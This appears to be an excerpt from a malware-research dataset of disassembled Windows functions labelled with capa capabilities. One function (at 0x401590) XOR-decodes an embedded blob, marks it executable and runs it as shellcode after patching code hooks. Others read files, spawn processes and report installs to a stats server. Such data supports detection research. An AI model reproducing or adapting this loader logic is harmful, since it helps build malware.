joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4802a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x4802ab
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x4803ae
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x52f494]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x52f494]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x52f494]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x52f494]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x52f494]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x52f494]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x52f494]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x52f494]
xor eax, edx
inc ecx
dec edi
jne 0x4802c6
pop edi
test esi, esi
je 0x4803d0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x52f494]
xor eax, edx
inc ecx
dec esi
jne 0x4803b2
pop esi
pop ebx
not eax
ret

Function at 0x480cf0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x10]
mov cl, byte [ebx]
mov eax, ebp
imul eax, dword [esp + 0x14]
test cl, cl
je 0x480d31
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push 0
push ecx
push eax
mov eax, dword [ebx + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x480d26
mov byte [ebx + 8], 1
mov eax, dword [esp + 0xc]
xor edx, edx
div ebp
pop ebp
pop ebx
ret
mov edx, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
push esi
push edi
lea esi, [edx + eax]
cmp esi, ecx
jbe 0x480d44
sub ecx, edx
mov eax, ecx
mov esi, dword [ebx + 0x10]
mov edi, dword [esp + 0x14]
mov ecx, eax
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
xor edx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x18]
pop edi
add ecx, eax
pop esi
div ebp
mov dword [ebx + 0x18], ecx
pop ebp
pop ebx
ret
Function at 0x481c80
Capabilities:
Get common file path

Disassembly:
push ecx
push ebp
mov ebp, ecx
push esi
push edi
cmp dword [ebp], 0
jne 0x481d35
cmp dword [ebp + 4], 0xffffffff
jne 0x481d35
push ebx
lea ebx, [ebp + 0x138]
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, 0x54bdb8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
pop ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
cmp esi, 1
jne 0x481cfd
push edi
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
je 0x481cfd
pop edi
pop esi
mov eax, 0x2000000
pop ebp
pop ecx
ret 0xc
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push esi
push ecx
push edi
call fcn.00480a80
add esp, 0x10
test eax, eax
jne 0x481d20
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebp
pop ecx
ret 0xc
push eax
call fcn.00480fc0
add esp, 4
mov dword [ebp], eax
xor eax, eax
pop edi
pop esi
pop ebp
pop ecx
ret 0xc
pop edi
pop esi
mov eax, 0x1000000
pop ebp
pop ecx
ret 0xc

Function at 0x482190
Capabilities:
Create directory

Disassembly:
mov ecx, dword [esp + 8]
sub esp, 0x208
test ecx, ecx
je 0x482258
mov al, byte [ecx]
test al, al
je 0x482258
push ebx
push esi
push edi
mov ebx, ecx
mov esi, ecx
cmp al, 0x2f
je 0x4821bb
cmp al, 0x5c
jne 0x4821bd
mov ebx, esi
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x4821b3
mov edi, dword [esp + 0x218]
cmp ebx, ecx
je 0x4821f4
mov esi, ebx
lea eax, [esp + 0xc]
sub esi, ecx
push esi
push ecx
push eax
call fcn.004874c6
lea ecx, [esp + 0x18]
mov byte [esp + esi + 0x18], 0
push ecx
push edi
call fcn.00482190
add esp, 0x14
inc ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x110]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop esi
pop ebx
add esp, 0x208
ret
Function at 0x487480
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4874a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00485b3a
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4874c3
test byte [esp + 8], 2
je 0x4874c3
call fcn.00485bad
mov dword [eax], 0xd
call fcn.00485bb6
mov dword [eax], 5
jmp 0x48749c
xor eax, eax
ret

Function at 0x4971ec
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x497224
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004952a3
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0049527b
jmp 0x497230
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4988e1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x498923
call fcn.0049e39b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x498923
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x49891a
xor eax, eax
jmp 0x49892b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00498931
pop edi
pop esi
pop ebx
ret 4

Function at 0x49e8cb
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49e8f9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49e917
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049e831
jmp 0x49e917
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49e917
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049e831
test edi, edi
mov eax, edi
jne 0x49e901
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401460
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [0x44cb2c]
mov dword [ebp - 4], 0
mov byte [ebp - 0xc], 0xe9
mov eax, dword [ecx]
mov dword [0x44cb10], eax
movzx eax, byte [ecx + 4]
mov byte [0x44cb14], al
mov eax, 0x4013c0
sub eax, ecx
sub eax, 5
mov dword [ebp - 0xb], eax
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [0x44cb2c]
mov eax, dword [ebp - 0xc]
mov dword [ecx], eax
movzx eax, byte [ebp - 8]
mov byte [ecx + 4], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 5
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret

Function at 0x401590
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Get system information on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x4014d0
push 1
mov dword [0x44cb20], eax
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov ecx, dword [0x44cb28]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 4], 0
mov byte [ebp - 0xc], 0xe9
mov eax, dword [ecx]
mov dword [0x44cb18], eax
movzx eax, byte [ecx + 4]
mov byte [0x44cb1c], al
mov eax, 0x4012b0
sub eax, ecx
sub eax, 5
mov dword [ebp - 0xb], eax
lea eax, [ebp - 4]
push eax
push 4
push 5
push ecx
call edi
mov ecx, dword [0x44cb28]
mov eax, dword [ebp - 0xc]
mov dword [ecx], eax
movzx eax, byte [ebp - 8]
mov byte [ecx + 4], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 5
push ecx
call edi
mov ecx, dword [0x44cb2c]
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x14], 0xe9
mov eax, dword [ecx]
mov dword [0x44cb10], eax
movzx eax, byte [ecx + 4]
mov byte [0x44cb14], al
mov eax, 0x4013c0
sub eax, ecx
sub eax, 5
mov dword [ebp - 0x13], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
push ecx
call edi
mov ecx, dword [0x44cb2c]
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
movzx eax, byte [ebp - 0x10]
mov byte [ecx + 4], al
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push 5
push ecx
call edi
push 4
push 0x1000
push 0x33800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x44cb04], eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [ebp - 0x24]
push esi
push 0x41657c
call fcn.00401280
add esp, 8
cmp esi, 2
jl 0x4016e0
movaps xmm1, xmmword [0x416580]
xor eax, eax
nop
movups xmm0, xmmword [eax + str.iav]
pxor xmm0, xmm1
movups xmmword [eax + str.iav], xmm0
movups xmm0, xmmword [eax + 0x418808]
pxor xmm0, xmm1
movups xmmword [eax + 0x418808], xmm0
add eax, 0x20
cmp eax, 0x33800
jb 0x4016b0
nop
mov esi, dword [0x44cb04]
push 0x33800
push str.iav
push esi
call fcn.0040fc80
add esp, 0xc
push 0x44cb0c
push 0x40
push 0x33800
push esi
call edi
push 0
push 0
push 0
push 0x401540
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [0x44cb04]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4014a0
Capabilities:
Get file version info
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4060fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xcc
push ebx
push esi
push edi
push 0
mov eax, dword [ebp + 8]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
ja 0x401506
mov ecx, dword [ebp - 0x10]
push ecx
push str._Loader__nVersionLen:_d
push 0x40a1c8
call sub.MFC42.DLL_CString::Format
add esp, 0xc
mov ecx, 0x40a1c8
call fcn.00401410
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, 2
jmp 0x40169e
mov edx, dword [ebp - 0x10]
push edx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401551
push str._Loader__pBufferNULL
push 0x40a1c8
call sub.MFC42.DLL_CString::Format
add esp, 8
mov ecx, 0x40a1c8
call fcn.00401410
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
jmp 0x40169e
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
jne 0x401599
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._Loader__GetFileVersionInfo_error:_d
push 0x40a1c8
call sub.MFC42.DLL_CString::Format
add esp, 0xc
mov ecx, 0x40a1c8
call fcn.00401410
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
jmp 0x40169e
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x18]
push edx
push str.VarFileInfoTranslation
mov eax, dword [ebp - 0x14]
push eax
call sub.VERSION.dll_VerQueryValueA
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov dx, word [ecx + 2]
push edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov cx, word [eax]
push ecx
push str.StringFileInfo_04x_04xComments
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x14]
push eax
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x401699
mov ecx, dword [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x8c]
call fcn.004058bc
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x8c]
push edx
push str._Loader__Comments:_s
push 0x40a1c8
call sub.MFC42.DLL_CString::Format
add esp, 0xc
mov ecx, 0x40a1c8
call fcn.00401410
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.FC02893F_0B1D_4095_B49E_1BFF2A1C5CB5
lea eax, [ebp - 0x8c]
push eax
call fcn.004016b0
and eax, 0xff
test eax, eax
je 0x401675
mov dword [ebp - 0x94], 2
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8c]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x94]
jmp 0x40169e
mov dword [ebp - 0x98], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8c]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x98]
jmp 0x40169e
mov eax, 2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401740
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x104
mov eax, dword [ebp + 8]
push eax
push str.CommonProgramFiles
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401777
push str.PPLiveNetworkPPAP.exe
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
jmp 0x40179d
push 0x104
mov edx, dword [ebp + 8]
push edx
push str.ProgramFiles
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [ebp - 4], eax
push str.Common_FilesPPLiveNetworkPPAP.exe
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
cmp dword [ebp - 4], 0
jne 0x4017a7
xor eax, eax
jmp 0x4017ac
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4017c0
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406122
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a8
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0x44
push 0
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x50], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x60]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x64]
call sub.MFC42.DLL_CString::CString_1
mov byte [ebp - 4], 1
lea edx, [ebp - 0x168]
push edx
call fcn.00401740
add esp, 4
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x16c], al
mov eax, dword [ebp - 0x16c]
and eax, 0xff
test eax, eax
je 0x4018bf
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x168]
push edx
push str.__s___LoadModule_MngModule.dll__T_2__A___s__
lea eax, [ebp - 0x64]
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x10
lea ecx, [ebp - 0x64]
call fcn.00401410
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x50]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x64]
call fcn.00401410
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov byte [ebp - 0x170], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x64]
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov al, byte [ebp - 0x170]
jmp 0x4018e7
mov byte [ebp - 0x174], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x64]
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov al, byte [ebp - 0x174]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a00
Capabilities:
Get common file path
Parse url

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40613a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2a4
push ebx
push esi
push edi
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x120]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x3c
push 0
lea edx, [ebp - 0x15c]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x15c], 0x3c
mov dword [ebp - 0x154], 1
mov dword [ebp - 0x148], 1
mov dword [ebp - 0x13c], 1
mov dword [ebp - 0x134], 1
mov dword [ebp - 0x12c], 1
mov dword [ebp - 0x124], 1
lea eax, [ebp - 0x15c]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x401ae1
mov dword [ebp - 0x26c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x26c]
jmp 0x401baa
mov edx, dword [ebp - 0x12c]
mov byte [ebp + edx - 0x260], 0
mov eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
lea edx, [ebp - 0x260]
push edx
call fcn.00401bc0
add esp, 0xc
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0
je 0x401b44
mov ecx, dword [ebp - 0x264]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x401b44
mov eax, dword [ebp - 0x264]
movsx ecx, byte [eax]
cmp ecx, 0x2f
jne 0x401b5e
mov edx, dword [ebp + 0xc]
push edx
push 0
push str.pplive
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
jmp 0x401b8a
mov ecx, dword [ebp - 0x264]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x104
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401bc0
add esp, 0xc
mov dword [ebp - 0x270], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402950
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406255
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x8c
push ebx
push esi
push edi
push 0x407540
push 0x40a0fc
call fcn.00402b40
and eax, 0xff
test eax, eax
jne 0x4029d1
push 0x407540
push 0x40a0f4
call fcn.00402b40
and eax, 0xff
test eax, eax
jne 0x4029d1
push 0x407540
push 0x40a0f8
call fcn.00402b40
and eax, 0xff
test eax, eax
jne 0x4029d1
push 0x407540
push 0x40a0f0
call fcn.00402b40
and eax, 0xff
test eax, eax
je 0x4029d6
jmp 0x402b2c
push 0x40a270
call fcn.004014a0
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
push str._Loader__VerComments:_d
push 0x40a1c8
call sub.MFC42.DLL_CString::Format
add esp, 0xc
mov ecx, 0x40a1c8
call fcn.00401410
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0x10], 1
jne 0x402ae4
push ecx
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.interface_load_submit.aspx
call fcn.004058bc
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 4], 0
push ecx
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str.ins_stat.pplive.com
call fcn.004058bc
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], 0xffffffff
call fcn.00402120
add esp, 8
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_1
mov dword [ebp - 4], 1
mov edx, dword [0x40a0f0]
push edx
mov eax, dword [0x40a0f4]
push eax
mov ecx, dword [0x40a0f8]
push ecx
mov edx, dword [0x40a0fc]
push edx
push str.__Product__s__Custom__s__Channel__s__SoftID__s
lea eax, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x18
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00401410
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x4c], edx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, 0x40a1d0
call dword [0x4070dc]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
jmp 0x402b2c
cmp dword [ebp - 0x10], 2
jne 0x402b2c
push ecx
mov ecx, esp
mov dword [ebp - 0x34], esp
push str.interface_down_submit.aspx
call fcn.004058bc
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 4], 3
push ecx
mov ecx, esp
mov dword [ebp - 0x38], esp
push str.ins_stat.pplive.com
call fcn.004058bc
mov dword [ebp - 0x58], eax
mov dword [ebp - 4], 0xffffffff
call fcn.00402120
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret